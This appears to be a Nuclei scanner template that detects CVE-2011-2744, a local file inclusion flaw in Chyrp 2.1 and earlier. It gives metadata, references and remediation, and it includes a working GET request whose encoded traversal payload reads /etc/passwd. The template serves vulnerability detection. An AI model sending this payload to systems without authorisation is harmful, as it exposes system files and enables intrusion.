id: CVE-2011-2744

info:
  name: Chyrp 2.x - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in Chyrp 2.1 and earlier allows remote attackers to include and execute arbitrary local files via a ..%2F (encoded dot dot slash) in the action parameter to the default URI.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, remote code execution, or complete compromise of the affected system.
  remediation: |
    Upgrade Chyrp to the latest version or apply the necessary patches provided by the vendor.
  reference:
    - https://www.exploit-db.com/exploits/35945
    - http://www.openwall.com/lists/oss-security/2011/07/13/6
    - https://nvd.nist.gov/vuln/detail/CVE-2011-2744
    - http://securityreason.com/securityalert/8312
    - http://www.ocert.org/advisories/ocert-2011-001.html
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2011-2744
    cwe-id: CWE-22
    epss-score: 0.01708
    epss-percentile: 0.8258
    cpe: cpe:2.3:a:chyrp:chyrp:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: chyrp
    product: chyrp
  tags: cve,cve2011,lfi,chyrp,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?action=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100860c6d926b866c8459bdc2cebddb90493e36efac9175e8156fad23c51c6cc44a022100b1989c0339aaf5bb371f751ffc7503c58832b4cae698f7b5ace71b5c0b86d82e:922c64590222798bb761d5b6d8e72950